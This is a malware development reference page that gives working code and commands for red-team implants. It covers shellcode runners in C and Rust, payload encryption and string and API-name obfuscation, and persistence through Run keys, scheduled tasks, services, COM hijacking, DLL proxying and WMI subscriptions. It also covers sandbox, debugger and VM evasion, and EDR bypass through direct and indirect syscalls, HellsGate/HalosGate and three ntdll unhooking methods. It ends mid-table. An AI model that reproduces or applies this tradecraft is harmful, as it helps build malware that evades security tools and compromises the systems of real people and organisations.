Malware Development

Malware development reference. Payload creation, encryption, obfuscation, persistence, C2 comms, anti-analysis, and operational tradecraft.

Malware development (MalDev) covers the techniques used to build implants, loaders, and post-exploitation tools for red team engagements. Understanding how payloads are encrypted, how strings are hidden from static analysis, how persistence survives reboots, and how implants evade sandboxes and debuggers is essential for both building and detecting real-world threats. This reference covers the core building blocks from payload encryption through C2 communication.

#Shellcode Execution

#Local Shellcode Runner (C)

The simplest loader: allocate RW memory, copy shellcode, flip to RX, and execute. This is the foundation for all other techniques. In practice, the allocate-write-execute pattern is heavily signatured, so production loaders split these steps across time (sleep between calls), use syscalls instead of WinAPI, or delegate execution to callback functions.

#include <windows.h>

int main() {
    unsigned char shellcode[] = {
        // msfvenom -p windows/x64/exec CMD=calc.exe -f c
        0xfc, 0x48, 0x83, 0xe4, 0xf0 /* ... */
    };

    // Allocate RW memory
    PVOID base = VirtualAlloc(
        NULL, sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Copy shellcode
    memcpy(base, shellcode, sizeof(shellcode));

    // Flip to RX (never use RWX - instant flag)
    DWORD oldProtect;
    VirtualProtect(base, sizeof(shellcode),
        PAGE_EXECUTE_READ, &oldProtect);

    // Execute via function pointer
    ((void(*)())base)();
    return 0;
}

#Local Shellcode Runner (Rust)

Rust equivalent using the windows crate. The same allocate-copy-protect-execute pattern, with Rust's type system enforcing proper handle/pointer usage. Compile with cargo build --release --target x86_64-pc-windows-msvc.

use std::ptr;
use windows::Win32::System::Memory::*;
use windows::Win32::Foundation::*;

fn main() {
    let shellcode: &[u8] = &[
        0xfc, 0x48, 0x83, 0xe4, 0xf0 // ...
    ];

    unsafe {
        let base = VirtualAlloc(
            Some(ptr::null()),
            shellcode.len(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE,
        );

        ptr::copy_nonoverlapping(
            shellcode.as_ptr(),
            base as *mut u8,
            shellcode.len(),
        );

        let mut old_protect = PAGE_PROTECTION_FLAGS(0);
        let _ = VirtualProtect(
            base,
            shellcode.len(),
            PAGE_EXECUTE_READ,
            &mut old_protect,
        );

        let func: fn() = std::mem::transmute(base);
        func();
    }
}

#Execution Methods

Multiple ways to transfer execution to shellcode beyond a plain function pointer. Callback-based methods (EnumFonts, CreateTimerQueueTimer) look less suspicious in call stacks since the execution origin is a legitimate Windows API.

Method API Notes
Function pointer Cast to void(*)() Simplest, easily signatured
CreateThread CreateThread(NULL, 0, addr, ...) Standard, monitored by EDR
Callback functions EnumFontsW, EnumChildWindows Less suspicious call stack
Fiber CreateFiber + SwitchToFiber Uncommon, lower detection
APC QueueUserAPC + NtTestAlert Self-injection via APC
Thread pool CreateTimerQueueTimer Blends with system activity
Vectored exception AddVectoredExceptionHandler Trigger via deliberate fault

For process injection techniques (remote shellcode execution), see Shellcode Injection.

#Payload Encryption

#XOR Encryption

XOR is the simplest reversible cipher - applying the same key twice restores the original data. Single-byte XOR is trivially broken by frequency analysis or brute force (only 255 keys). Multi-byte XOR raises the bar significantly since the key space grows exponentially, though it is still not cryptographically secure against known-plaintext attacks.

// Single-byte XOR
void xor_encrypt(unsigned char* data, size_t len, unsigned char key) {
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key;
    }
}

// Multi-byte XOR (more robust)
void xor_multi(unsigned char* data, size_t len,
               unsigned char* key, size_t keyLen) {
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key[i % keyLen];
    }
}

#AES-256 Encryption (C#)

AES-256 in CBC mode is the gold standard for payload encryption. It provides strong confidentiality and is trusted enough that AV/EDR cannot flag the algorithm itself as suspicious. The main challenge is key management - the decryption key must be delivered to the loader without being statically extractable (e.g., fetched from C2, derived from environment data, or split across stages).

using System.Security.Cryptography;

byte[] AesEncrypt(byte[] plaintext, byte[] key, byte[] iv) {
    using (var aes = Aes.Create()) {
        aes.Key = key;   // 32 bytes
        aes.IV = iv;     // 16 bytes
        aes.Mode = CipherMode.CBC;
        aes.Padding = PaddingMode.PKCS7;
        using (var enc = aes.CreateEncryptor())
            return enc.TransformFinalBlock(
                plaintext, 0, plaintext.Length);
    }
}

byte[] AesDecrypt(byte[] ciphertext, byte[] key, byte[] iv) {
    using (var aes = Aes.Create()) {
        aes.Key = key;
        aes.IV = iv;
        aes.Mode = CipherMode.CBC;
        aes.Padding = PaddingMode.PKCS7;
        using (var dec = aes.CreateDecryptor())
            return dec.TransformFinalBlock(
                ciphertext, 0, ciphertext.Length);
    }
}

#RC4 (C)

RC4 is a stream cipher that is simple to implement and requires no IV or padding, making it popular in compact loaders and shellcode. Encryption and decryption use the same function (symmetric keystream XOR). While cryptographically broken for protocols like WEP/TLS, it remains practical for payload obfuscation where the goal is AV evasion, not long-term secrecy.

void rc4(unsigned char* data, size_t len,
         unsigned char* key, size_t keyLen) {
    unsigned char S[256];
    for (int i = 0; i < 256; i++) S[i] = i;

    int j = 0;
    for (int i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % keyLen]) % 256;
        unsigned char tmp = S[i];
        S[i] = S[j];
        S[j] = tmp;
    }

    int i = 0; j = 0;
    for (size_t n = 0; n < len; n++) {
        i = (i + 1) % 256;
        j = (j + S[i]) % 256;
        unsigned char tmp = S[i];
        S[i] = S[j];
        S[j] = tmp;
        data[n] ^= S[(S[i] + S[j]) % 256];
    }
}

#XOR Shellcode Decryptor (Rust)

Rust implementation of multi-byte XOR decryption for shellcode. The encrypted payload is stored as a byte array, decrypted in-place at runtime, then executed. Compile with --release to ensure the optimizer does not elide the XOR loop.

fn xor_decrypt(data: &mut [u8], key: &[u8]) {
    for i in 0..data.len() {
        data[i] ^= key[i % key.len()];
    }
}

fn main() {
    // XOR-encrypted shellcode (key: b"redteam")
    let mut shellcode: Vec<u8> = vec![
        0x9e, 0x2d, 0xb1, 0x80, 0x94 // ... encrypted bytes
    ];
    let key = b"redteam";

    xor_decrypt(&mut shellcode, key);

    // Execute decrypted shellcode (use VirtualAlloc pattern)
    unsafe {
        let base = windows::Win32::System::Memory::VirtualAlloc(
            Some(std::ptr::null()),
            shellcode.len(),
            windows::Win32::System::Memory::MEM_COMMIT
                | windows::Win32::System::Memory::MEM_RESERVE,
            windows::Win32::System::Memory::PAGE_READWRITE,
        );
        std::ptr::copy_nonoverlapping(
            shellcode.as_ptr(), base as *mut u8, shellcode.len());
        let mut old = windows::Win32::System::Memory::PAGE_PROTECTION_FLAGS(0);
        let _ = windows::Win32::System::Memory::VirtualProtect(
            base, shellcode.len(),
            windows::Win32::System::Memory::PAGE_EXECUTE_READ, &mut old);
        let f: fn() = std::mem::transmute(base);
        f();
    }
}

#Encryption Comparison

Quick reference for choosing a payload encryption scheme. Balance implementation complexity, performance, and how easily defenders can recover the plaintext. For most loaders, AES or RC4 with a remotely-fetched key is the sweet spot.

Method Key Size Speed Detection Risk
XOR (single byte) 1 byte Fast High (trivial to reverse)
XOR (multi-byte) N bytes Fast Medium
RC4 1-256 bytes Fast Medium (stream cipher)
AES-128/256 CBC 16/32 bytes Medium Low (standard crypto)
ChaCha20 32 bytes Fast Low

#String Obfuscation

#Compile-Time Hashing (C++)

Static analysis and YARA rules scan the .rdata section for suspicious strings like "VirtualAlloc" or "CreateRemoteThread". Compile-time hashing replaces those plaintext API names with numeric hash constants, then resolves them at runtime by walking the export table. This breaks string-based signatures entirely.

// API name hashing - avoids strings in binary
#define HASH_SEED 5381
constexpr DWORD hash(const char* str) {
    DWORD h = HASH_SEED;
    while (*str) h = ((h << 5) + h) + *str++;
    return h;
}

// Usage: resolve at runtime
#define H_VirtualAlloc      0x382C0F97
#define H_VirtualProtect    0x844FF18D
#define H_CreateThread      0x7F08F451

FARPROC resolve(HMODULE hMod, DWORD targetHash) {
    // Walk EAT, hash each name, compare
    // Return function pointer on match
}

#Stack Strings (C)

Tools like strings, FLOSS, and YARA extract string literals from the .rdata/.data sections of a PE. By constructing strings character-by-character on the stack, the string never appears contiguously in the binary. This defeats basic static extraction, though advanced tools (FLOSS) can still recover them via emulation.

// Build strings on stack - avoids static analysis
char sKernel32[] = { 'k','e','r','n','e','l','3','2',
                     '.','d','l','l', 0 };
char sLoadLib[] = { 'L','o','a','d','L','i','b','r',
                    'a','r','y','A', 0 };

HMODULE hK32 = GetModuleHandleA(sKernel32);
FARPROC pLoad = GetProcAddress(hK32, sLoadLib);

#String Encryption (C#)

Runtime string decryption stores sensitive strings as encrypted byte arrays in the binary and decrypts them only when needed. This is the standard pattern in .NET implants since managed assemblies are trivially decompiled. The encrypted blob is meaningless to static analysis; the string only exists briefly in memory during use.

// Encrypted strings decrypted at runtime
static string Dec(byte[] enc, byte key) {
    var sb = new System.Text.StringBuilder();
    foreach (var b in enc)
        sb.Append((char)(b ^ key));
    return sb.ToString();
}

// "VirtualAlloc" encrypted with key 0x42
byte[] sVA = { 0x14, 0x2B, 0x30, 0x36, 0x37,
               0x23, 0x2E, 0x03, 0x2E, 0x2E,
               0x2D, 0x21 };
string name = Dec(sVA, 0x42);

#Caesar Cipher (Python helper)

This is a prep-time tool, not a runtime technique. Use it to generate shifted byte arrays that you embed in your C/C# source code. The implant then reverses the shift at runtime. Simple but effective for avoiding plaintext strings in the compiled binary.

# Encrypt strings for embedding
def encrypt_str(s, shift=13):
    return ','.join(
        [hex(ord(c) + shift) for c in s]
    )

# "VirtualAlloc" -> C array
print(encrypt_str("VirtualAlloc"))
# 0x63,0x76,0x7f,0x81,0x82,0x6e,...

#API Hashing (Rust)

DJB2 hash implementation in Rust for runtime API resolution. The const fn ensures the hash is computed at compile time when called with a literal, so no plaintext API names appear in the binary.

const fn djb2_hash(s: &[u8]) -> u32 {
    let mut h: u32 = 5381;
    let mut i = 0;
    while i < s.len() {
        h = h.wrapping_mul(33).wrapping_add(s[i] as u32);
        i += 1;
    }
    h
}

// Compile-time constants - no strings in binary
const H_VIRTUAL_ALLOC: u32 = djb2_hash(b"VirtualAlloc");
const H_VIRTUAL_PROTECT: u32 = djb2_hash(b"VirtualProtect");
const H_LOAD_LIBRARY_A: u32 = djb2_hash(b"LoadLibraryA");

// Runtime: walk PEB -> LDR -> export table,
// hash each export name, compare against constants

#CRC32 API Hashing (C)

CRC32 is another popular hash for API resolution. It has fewer collisions than DJB2 and is often used in shellcode (Metasploit's block_api uses a variant). The table-less implementation keeps the code compact.

#define CRC32_POLY 0xEDB88320

DWORD crc32_hash(const char* str) {
    DWORD crc = 0xFFFFFFFF;
    while (*str) {
        crc ^= (BYTE)*str++;
        for (int i = 0; i < 8; i++)
            crc = (crc >> 1) ^ (CRC32_POLY & (-(crc & 1)));
    }
    return crc ^ 0xFFFFFFFF;
}

#Persistence Techniques

#Registry Run Keys

The simplest persistence method - values under Run/RunOnce execute automatically at logon. HKCU requires no admin; HKLM affects all users but needs elevation. Trade-off: this is the most heavily monitored persistence location by EDR products and is checked by nearly every forensic triage tool (Autoruns, RECmd).

# Current user (no admin)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Users\Public\payload.exe"

# All users (admin required)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Windows\Temp\svc.exe"

# RunOnce (executes once then deletes)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Setup /t REG_SZ /d "C:\payload.exe"

#Scheduled Tasks

Scheduled tasks are reliable and survive reboots. They support flexible triggers (logon, time interval, event-based) and can run as SYSTEM. Tasks created via COM objects leave fewer command-line artifacts than schtasks.exe. Defenders monitor the \Microsoft\Windows\ task folder and Security event 4698.

# Create persistent scheduled task
schtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\Users\Public\svc.exe" /sc onlogon /ru SYSTEM

# With specific timing
schtasks /create /tn "ChromeSync" /tr "powershell -w hidden -f C:\Users\Public\sync.ps1" /sc minute /mo 30

# Via COM (stealthier)
$action = New-ScheduledTaskAction -Execute "C:\Users\Public\svc.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "Update" -Action $action -Trigger $trigger

#Windows Services

Services provide high-privilege persistence running as SYSTEM. They start automatically at boot (before user logon) and can be configured as DLL-based services hosted by svchost.exe for better blending. Requires admin to install. Monitored via System event 7045 and the Services registry hive.

# Create service (admin required)
sc create "WindowsHealthSvc" binpath= "C:\Windows\Temp\svc.exe" start= auto DisplayName= "Windows Health Service"
sc start WindowsHealthSvc

# DLL service
sc create "UpdateSvc" binpath= "C:\Windows\System32\svchost.exe -k netsvcs" start= auto
reg add "HKLM\System\CurrentControlSet\Services\UpdateSvc\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\Temp\evil.dll"

#COM Hijacking

Windows resolves COM objects by searching HKCU before HKLM. By registering a malicious DLL under a CLSID in HKCU, you hijack loading when any application instantiates that COM class. No admin required, very stealthy since no new services or tasks are created - the trigger is built into normal application behavior.

# Find hijackable CLSIDs
# Look for missing InprocServer32 DLLs
reg query "HKCU\Software\Classes\CLSID" /s /f InprocServer32

# Hijack CLSID (user-level)
reg add "HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\evil.dll"
reg add "HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both"

#DLL Proxying

DLL proxying (also called DLL side-loading with forwarding) replaces a legitimate DLL while maintaining all its original functionality. The proxy DLL forwards every export to the renamed original, so the host application works normally. Your payload runs in DllMain. This avoids breaking application behavior, which would alert the user or crash the host process.

1. Find target DLL loaded by legit app
2. Rename original: legit.dll -> legit_orig.dll
3. Create proxy DLL that:
   - Exports all original functions
   - Forwards calls to legit_orig.dll
   - Executes payload on DllMain
4. Place proxy as legit.dll

// Export forwarding (DEF file)
EXPORTS
  OriginalFunc1=legit_orig.OriginalFunc1
  OriginalFunc2=legit_orig.OriginalFunc2

#WMI Event Subscription

WMI event subscriptions are a fileless persistence mechanism. A permanent event filter + consumer + binding lives entirely in the WMI repository (OBJECTS.DATA), not the filesystem. The payload triggers on any WQL-queryable event (process start, timer, logon). Hard to detect without dedicated WMI auditing or tools like Autoruns.

# Permanent WMI event consumer (survives reboot)
$filter = Set-WMIInstance -Class __EventFilter -Arguments @{
    Name = 'UpdateFilter'
    EventNameSpace = 'root\cimv2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

$consumer = Set-WMIInstance -Class CommandLineEventConsumer -Arguments @{
    Name = 'UpdateConsumer'
    CommandLineTemplate = 'C:\Users\Public\payload.exe'
}

Set-WMIInstance -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

#Anti-Analysis

#Sandbox Detection

Automated sandboxes typically run with minimal resources (1 CPU, low RAM, small disk) and use generic usernames. Checking these environmental indicators lets the implant exit early if it detects an analysis environment. Stack multiple checks - no single indicator is reliable since modern sandboxes increasingly customize these values.

// Check username/hostname for sandbox indicators
char user[256]; DWORD sz = 256;
GetUserNameA(user, &sz);
char* sandbox_users[] = { "sandbox", "malware",
    "virus", "sample", "test", NULL };
for (int i = 0; sandbox_users[i]; i++)
    if (strstr(user, sandbox_users[i])) ExitProcess(0);

// Check CPU count
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) ExitProcess(0);

// Check RAM (< 2GB suspicious)
MEMORYSTATUSEX ms = { sizeof(ms) };
GlobalMemoryStatusEx(&ms);
if (ms.ullTotalPhys < 2ULL * 1024 * 1024 * 1024)
    ExitProcess(0);

// Check disk size (< 60GB suspicious)
ULARGE_INTEGER diskSize;
GetDiskFreeSpaceExA("C:\\", NULL, &diskSize, NULL);
if (diskSize.QuadPart < 60ULL * 1024 * 1024 * 1024)
    ExitProcess(0);

#Timing-Based Evasion

Sandboxes often accelerate or skip Sleep() calls to speed up analysis. By measuring elapsed time before and after a sleep, you can detect if the sandbox shortened it. Checking for mouse movement or user interaction is another strong signal - sandboxes rarely simulate realistic human input patterns.

// Sleep acceleration detection
DWORD t1 = GetTickCount();
Sleep(2000);  // Sleep 2 seconds
DWORD t2 = GetTickCount();
if ((t2 - t1) < 1500) ExitProcess(0);  // Sandbox skipped sleep

// NTP time check
// Compare local time vs NTP server
// Large skew indicates sandbox

// Delayed execution
// Wait for user interaction (mouse move, keypress)
POINT p1, p2;
GetCursorPos(&p1);
Sleep(5000);
GetCursorPos(&p2);
if (p1.x == p2.x && p1.y == p2.y)
    ExitProcess(0);  // No mouse movement

#Anti-Debug Techniques

Debugger detection falls into several categories: API-based checks (IsDebuggerPresent), PEB flag inspection, timing anomalies (single-stepping adds measurable overhead), hardware breakpoint detection via debug registers, and exception-based tricks (INT 2D). Layering multiple methods increases reliability.

Technique API/Method
IsDebuggerPresent kernel32!IsDebuggerPresent()
PEB.BeingDebugged Read PEB offset 0x02
NtGlobalFlag PEB offset 0xBC (0x70 = debug)
CheckRemoteDebuggerPresent kernel32!CheckRemoteDebuggerPresent()
NtQueryInformationProcess ProcessDebugPort (0x7)
Timing checks rdtsc / QueryPerformanceCounter
Hardware breakpoints Read DR0-DR3 via GetThreadContext
INT 2D Single-step exception
OutputDebugString Check GetLastError
Parent process check Verify parent is explorer.exe

#Process/VM Indicators

Enumerating running processes and checking for known analysis tools (Wireshark, x64dbg, Process Hacker) is a quick way to detect an analyst's workstation. VM detection checks for VMware/VirtualBox artifacts in the registry and process list. Note that many enterprises run VMs in production, so VM detection can cause false positives in real targets.

// Check for analysis tools
char* blacklist[] = {
    "wireshark.exe", "procmon.exe", "x64dbg.exe",
    "ida64.exe", "ollydbg.exe", "processhacker.exe",
    "fiddler.exe", "autoruns.exe", NULL
};

HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };
Process32First(snap, &pe);
do {
    for (int i = 0; blacklist[i]; i++) {
        if (!_stricmp(pe.szExeFile, blacklist[i]))
            ExitProcess(0);
    }
} while (Process32Next(snap, &pe));

// VM detection via registry
// HKLM\SOFTWARE\VMware, Inc.\VMware Tools
// HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
// Check for vmtoolsd.exe, VBoxService.exe

#Syscall Techniques

#Direct Syscalls (SysWhispers)

EDR products hook ntdll.dll functions (NtAllocateVirtualMemory, NtWriteVirtualMemory, etc.) by patching the beginning of each stub with a JMP to their inspection code. Direct syscalls bypass these hooks entirely by executing the syscall instruction from your own code, using the correct System Service Number (SSN) for each function. The call never passes through ntdll, so the EDR hook is never hit.

SysWhispers2 generates .h, .c, and .asm files containing syscall stubs with SSN resolution.

Generate stubs for target functions:

python syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls

This produces syscalls.h, syscalls.c, and syscalls-asm.x64.asm. Add all three to your Visual Studio project (right-click .asm > Properties > Item Type: Microsoft Macro Assembler). Then call the Nt functions directly:

#include "syscalls.h"

int main() {
    HANDLE hProcess = GetCurrentProcess();
    PVOID baseAddr = NULL;
    SIZE_T regionSize = 0x1000;
    NTSTATUS status;

    // Direct syscall - bypasses ntdll hook
    status = NtAllocateVirtualMemory(
        hProcess,
        &baseAddr,
        0,
        &regionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );

    if (status == 0) {
        // Write shellcode to allocated memory
        unsigned char shellcode[] = { /* ... */ };
        SIZE_T bytesWritten = 0;
        NtWriteVirtualMemory(
            hProcess,
            baseAddr,
            shellcode,
            sizeof(shellcode),
            &bytesWritten
        );

        // Change protection to RX
        ULONG oldProtect;
        NtProtectVirtualMemory(
            hProcess,
            &baseAddr,
            &regionSize,
            PAGE_EXECUTE_READ,
            &oldProtect
        );

        // Create thread to execute
        HANDLE hThread = NULL;
        NtCreateThreadEx(
            &hThread, GENERIC_EXECUTE, NULL,
            hProcess, baseAddr, NULL,
            FALSE, 0, 0, 0, NULL
        );
        NtWaitForSingleObject(hThread, FALSE, NULL);
    }
    return 0;
}

#Indirect Syscalls

With direct syscalls, the syscall instruction lives in your executable's memory (or in unbacked RWX memory if injected). Modern EDR products detect this by checking the return address of the syscall - if it does not point back into ntdll.dll, the call is flagged as suspicious ("syscall from unbacked memory").

Indirect syscalls solve this by setting up all the registers (RCX, RDX, R8, R9, RAX for SSN, R10 = RCX), then JMPing to the syscall instruction inside ntdll.dll itself. From the kernel's perspective, the syscall originated from ntdll - which passes origin checks.

SysWhispers3 supports indirect syscall generation:

python syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls -m jumper

How the indirect JMP works (x64 ASM):

; Indirect syscall stub for NtAllocateVirtualMemory
NtAllocateVirtualMemory PROC
    mov r10, rcx                   ; standard Nt calling convention
    mov eax, wNtAllocateVirtualMemory  ; SSN resolved at runtime
    ; Instead of executing syscall here, JMP to ntdll's syscall gadget
    jmp qword ptr [pSyscallAddr]   ; address of "syscall; ret" in ntdll
NtAllocateVirtualMemory ENDP

Finding the syscall gadget address in C:

// Locate the "syscall; ret" gadget inside ntdll
PVOID FindSyscallGadget() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dos->e_lfanew);
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);

    for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        if (strcmp((char*)section[i].Name, ".text") == 0) {
            BYTE* start = (BYTE*)hNtdll + section[i].VirtualAddress;
            DWORD size = section[i].Misc.VirtualSize;
            for (DWORD j = 0; j < size - 1; j++) {
                // Look for: 0F 05 (syscall) followed by C3 (ret)
                if (start[j] == 0x0F && start[j+1] == 0x05 && start[j+2] == 0xC3) {
                    return &start[j];
                }
            }
        }
    }
    return NULL;
}

This makes the call stack look legitimate to EDR, since the syscall instruction pointer is inside ntdll's .text section.

#HellsGate / HalosGate

HellsGate resolves SSNs at runtime by reading the ntdll.dll .text section directly. Each clean (unhooked) Nt function stub starts with a known pattern:

4C 8B D1          mov r10, rcx
B8 XX 00 00 00    mov eax, <SSN>     <-- XX is the SSN

If EDR has hooked the stub, the first bytes will be a JMP (E9) or FF 25 to the hook handler instead.

HalosGate handles hooked stubs by looking at neighboring (unhoooked) syscall stubs. Since SSNs are sequential in ntdll's export order, if stub N is hooked but stub N+1 is clean with SSN = X, then stub N has SSN = X-1. It walks up/down until it finds a clean neighbor.

TartarusGate extends this further - it handles multiple hook types including JMP (E9), INT3 (CC), and multi-byte hooks.

SSN extraction (HellsGate pattern):

#include <windows.h>

typedef struct _HELL_GATE {
    DWORD ssn;
    PVOID syscallAddr;
} HELL_GATE;

BOOL GetSSN(PVOID pFuncAddr, HELL_GATE* gate) {
    BYTE* stub = (BYTE*)pFuncAddr;

    // HellsGate: check for clean stub
    // 4C 8B D1 = mov r10, rcx
    // B8 XX 00 00 00 = mov eax, SSN
    if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 &&
        stub[3] == 0xB8 && stub[5] == 0x00 && stub[6] == 0x00 && stub[7] == 0x00) {
        gate->ssn = *(DWORD*)(stub + 4);
        return TRUE;
    }

    // HalosGate: stub is hooked, check neighbors
    // Look downward (SSN + 1, SSN + 2, ...)
    for (int i = 1; i < 25; i++) {
        // Each syscall stub is 0x20 bytes apart in ntdll
        BYTE* neighbor = stub + (i * 0x20);
        if (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[2] == 0xD1 &&
            neighbor[3] == 0xB8 && neighbor[5] == 0x00) {
            gate->ssn = *(DWORD*)(neighbor + 4) - i;  // subtract offset
            return TRUE;
        }

        // Also look upward (SSN - 1, SSN - 2, ...)
        neighbor = stub - (i * 0x20);
        if (neighbor[0] == 0x4C && neighbor[1] == 0x8B && neighbor[2] == 0xD1 &&
            neighbor[3] == 0xB8 && neighbor[5] == 0x00) {
            gate->ssn = *(DWORD*)(neighbor + 4) + i;  // add offset
            return TRUE;
        }
    }
    return FALSE;
}

int main() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PVOID pNtAlloc = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

    HELL_GATE gate = { 0 };
    if (GetSSN(pNtAlloc, &gate)) {
        // gate.ssn now contains the SSN
        // Use it in a syscall stub (direct or indirect)
    }
    return 0;
}

Reference: HellsGate

#ntdll Unhooking

Instead of avoiding hooks, ntdll unhooking removes them entirely by replacing the hooked .text section with a clean copy. Several methods exist to obtain a clean ntdll:

Method 1: From disk

Read the original ntdll.dll from C:\Windows\System32\, map it, and copy its .text section over the hooked copy in memory.

#include <windows.h>

void UnhookNtdllFromDisk() {
    // Get handle to hooked ntdll in memory
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dos->e_lfanew);
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);

    // Find .text section
    for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        if (strcmp((char*)section[i].Name, ".text") == 0) {
            PVOID textAddr = (BYTE*)hNtdll + section[i].VirtualAddress;
            DWORD textSize = section[i].Misc.VirtualSize;

            // Read clean ntdll from disk
            HANDLE hFile = CreateFileA(
                "C:\\Windows\\System32\\ntdll.dll",
                GENERIC_READ, FILE_SHARE_READ,
                NULL, OPEN_EXISTING, 0, NULL);

            DWORD fileSize = GetFileSize(hFile, NULL);
            BYTE* cleanNtdll = (BYTE*)VirtualAlloc(
                NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            DWORD bytesRead;
            ReadFile(hFile, cleanNtdll, fileSize, &bytesRead, NULL);
            CloseHandle(hFile);

            // Map clean .text section
            PIMAGE_DOS_HEADER cleanDos = (PIMAGE_DOS_HEADER)cleanNtdll;
            PIMAGE_NT_HEADERS cleanNt = (PIMAGE_NT_HEADERS)(cleanNtdll + cleanDos->e_lfanew);
            PIMAGE_SECTION_HEADER cleanSec = IMAGE_FIRST_SECTION(cleanNt);

            for (int j = 0; j < cleanNt->FileHeader.NumberOfSections; j++) {
                if (strcmp((char*)cleanSec[j].Name, ".text") == 0) {
                    BYTE* cleanText = cleanNtdll + cleanSec[j].PointerToRawData;

                    // Overwrite hooked .text with clean copy
                    DWORD oldProtect;
                    VirtualProtect(textAddr, textSize, PAGE_EXECUTE_READWRITE, &oldProtect);
                    memcpy(textAddr, cleanText, textSize);
                    VirtualProtect(textAddr, textSize, oldProtect, &oldProtect);
                    break;
                }
            }
            VirtualFree(cleanNtdll, 0, MEM_RELEASE);
            break;
        }
    }
}

Method 2: From KnownDlls

Open the \KnownDlls\ntdll.dll section object and map it. This avoids touching the filesystem (no CreateFile calls for EDR to intercept).

void UnhookNtdllFromKnownDlls() {
    HANDLE hSection = NULL;
    UNICODE_STRING name;
    OBJECT_ATTRIBUTES oa;

    RtlInitUnicodeString(&name, L"\\KnownDlls\\ntdll.dll");
    InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);

    // Open the section object
    NTSTATUS status = NtOpenSection(&hSection, SECTION_MAP_READ, &oa);
    if (status != 0) return;

    // Map the clean ntdll
    PVOID cleanNtdll = NULL;
    SIZE_T viewSize = 0;
    NtMapViewOfSection(hSection, GetCurrentProcess(),
        &cleanNtdll, 0, 0, NULL, &viewSize,
        ViewUnmap, 0, PAGE_READONLY);

    // Copy .text section over hooked ntdll (same PE parsing as Method 1)
    // ...
    NtClose(hSection);
}

Method 3: From a suspended process

Spawn a sacrificial process in a suspended state, read its clean ntdll before EDR injects and hooks it.

void UnhookNtdllFromSuspendedProcess() {
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    // Spawn suspended process
    CreateProcessA(
        "C:\\Windows\\System32\\notepad.exe",
        NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED, NULL, NULL, &si, &pi);

    // Get ntdll base in remote process (same base address due to ASLR shared mapping)
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

    // Read clean .text from the suspended process's ntdll
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hNtdll;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + dos->e_lfanew);
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt);

    for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        if (strcmp((char*)section[i].Name, ".text") == 0) {
            PVOID textAddr = (BYTE*)hNtdll + section[i].VirtualAddress;
            DWORD textSize = section[i].Misc.VirtualSize;
            BYTE* cleanText = (BYTE*)malloc(textSize);

            ReadProcessMemory(pi.hProcess, textAddr, cleanText, textSize, NULL);

            // Overwrite our hooked .text
            DWORD oldProtect;
            VirtualProtect(textAddr, textSize, PAGE_EXECUTE_READWRITE, &oldProtect);
            memcpy(textAddr, cleanText, textSize);
            VirtualProtect(textAddr, textSize, oldProtect, &oldProtect);

            free(cleanText);
            break;
        }
    }

    // Clean up sacrificial process
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}

Note: Metasploit's load unhook / unhook_pe uses Method 1 (disk read) but has been crashing on Windows 11 24H2+ due to changes in ntdll section layout. Custom implementations should account for the updated PE structure.

#Syscall Techniques Comparison

Technique Complexity EDR Bypass Level Detectable By Notes
